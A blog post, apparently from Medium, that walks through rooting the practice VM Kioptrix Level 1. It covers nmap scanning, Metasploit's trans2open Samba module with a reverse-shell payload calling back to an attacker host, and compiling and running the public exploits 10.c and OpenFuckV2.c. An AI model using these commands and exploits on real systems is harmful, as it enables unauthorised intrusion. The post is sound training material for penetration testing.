            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*wcCt9RN9OA7jXcR7iBOLeQ.png" /></figure><h3><strong>Author:</strong> [Mostafa Yasser]<br><strong>Date:</strong> [09/09/2025]</h3><h3>Introduction</h3><p>Kioptrix Level 1 is a vulnerable VM designed for pentesting practice. The goal of this writeup is to demonstrate multiple ways to gain root access, starting from network enumeration to exploiting Samba and Apache services. This writeup includes both Metasploit and manual C exploits, along with notes on payload choices.</p><h3>Step 1: Initial Enumeration</h3><p>I started with a simple nmap scan to discover open ports and service versions:</p><pre>nmap -sV &lt;TARGET_MACHINE_IP&gt;</pre><p><strong>Findings:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*Ou3w2x6qD1MzuoqabIWRyA.png" /></figure><blockquote><em>Note: Samba version was not revealed by </em><em>nmap.</em></blockquote><h3>Step 2: Identifying Samba Version</h3><p>Since nmap couldn’t detect the Samba version, I switched to Metasploit’s smb_version scanner:</p><pre>msfconsole<br>search smb_version<br>use auxiliary/scanner/smb/smb_version          (or use 0)<br>set RHOSTS &lt;TARGET_MACHINE_IP&gt;<br>set RPORT 139<br>run                                            (or exploit)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*HyRxVah7vzGz0I4qHxAVRg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*92kcy1QUk-UgqrMGBZ1gQA.png" /></figure><p><strong>Result:</strong> Samba version identified as 2.2.1 &lt; 2.2.8 — vulnerable to multiple known exploits.</p><h3>Step 3: Searching for Known Vulnerabilities</h3><p>Using searchsploit, I searched for exploits for this Samba version:</p><pre>searchsploit samba 2.2.1a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YxtN6FfH7WDiUmQlx_mZqg.png" /></figure><p><strong>Exploits found:</strong></p><ol><li>exploit/linux/samba/trans2open</li><li>multiple/remote/10.c</li></ol><p>I decided to start with the first one using Metasploit.</p><h3>Step 4: Exploiting Samba via Metasploit (trans2open)</h3><ul><li><strong>Module:</strong> exploit/linux/samba/trans2open</li><li><strong>Target:</strong> Linux (Samba &lt;2.2.8)</li></ul><h3>Steps:</h3><pre>msfconsole<br>use exploit/linux/samba/trans2open<br>set RHOST &lt;TARGET_MACHINE_IP&gt;<br>set RPORT 139</pre><p>Initially, the default payload caused compatibility issues. I switched to:</p><pre>set PAYLOAD linux/x86/shell_reverse_tcp<br>set LHOST &lt;ATTACKER_MACHINE_IP&gt;<br>set LPORT 4444<br>run</pre><p><strong>Payload Notes:</strong></p><ul><li>linux/x86/shell_reverse_tcp – inline shell, works immediately.</li><li>linux/x86/shell/reverse_tcp – stager, multi-stage, sometimes incompatible with older systems.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*zW9w8rcQ2pSrP5XFJSFfQA.png" /></figure><p><strong>Result:</strong> Obtained root reverse shell successfully.</p><h3>Step 5: Exploiting Samba via Manual C Exploit (10.c)</h3><ul><li><strong>Exploit:</strong> multiple/remote/10.c</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*s_nu4BQccP1sfwkjvKnp6Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*HvKzDcsUHsEPmaeo2GHkRw.png" /></figure><h3>Steps:</h3><ol><li>Compile the exploit:</li></ol><pre>gcc 10.c -o exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*CqNAosMJ6EYXdWCDhYNoag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*-RYZ4HMv1Nu8MZGfNzLN7g.png" /></figure><ol><li>Run the exploit:</li></ol><pre>./exploit -b 0 -v &lt;TARGET_MACHINE_IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*K40faVYUfz5GYwsQ-eTbjQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*N4emCdAs_cCfj3zCx19sFA.png" /></figure><p><strong>Result:</strong> Another root reverse shell, fully successful.</p><blockquote><em>This demonstrates manual exploitation without Metasploit.</em></blockquote><h3>Step 6: Exploiting Apache mod_ssl Vulnerability</h3><ul><li><strong>Exploit:</strong> unix/remote/47080.c (OpenFuckV2.c)</li><li><strong>Target:</strong> Apache &lt; 2.8.7</li></ul><h3>Steps:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3zzGff830qtkKVY8jJF2VQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*DDOK6bm4a0aGjZSWN9a4qg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*n2PowAA8D3yHo4tIDn-4QQ.png" /></figure><ol><li>Compile the exploit:</li></ol><pre>gcc OpenFuckV2.c -o OpenFuckV2 -lssl -lcrypto</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*XFd4AfIeQta_pKjcYvbO8g.png" /></figure><ol><li>Execute the exploit:</li></ol><pre>./OpenFuckV2 0x6b &lt;TARGET_MACHINE_IP&gt; 443 -c 50</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*pHDMJh7kkjjKj4AWARjS3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*Y1r4Tijq9cVaz9hfYeLwUQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*RUu3rN420iI1wAZLLRfvDw.png" /></figure><p><strong>Result:</strong> Successfully gained remote access to the server.</p><h3>Conclusion</h3><p>Through careful enumeration and exploitation, I successfully obtained root access to Kioptrix Level 1 using multiple techniques:</p><ol><li>Samba trans2open exploit via Metasploit with a compatible reverse shell payload.</li><li>Manual C exploit (10.c) for Samba RCE.</li><li>Apache mod_ssl buffer overflow (OpenFuckV2.c).</li></ol><p><strong>Key Takeaways:</strong></p><ul><li>Enumeration is crucial — sometimes automated tools may not reveal everything.</li><li>Understanding payload differences (inline vs stager) helps avoid compatibility issues.</li><li>Practicing both automated and manual exploits strengthens overall pentesting skills.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2209505b9763" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>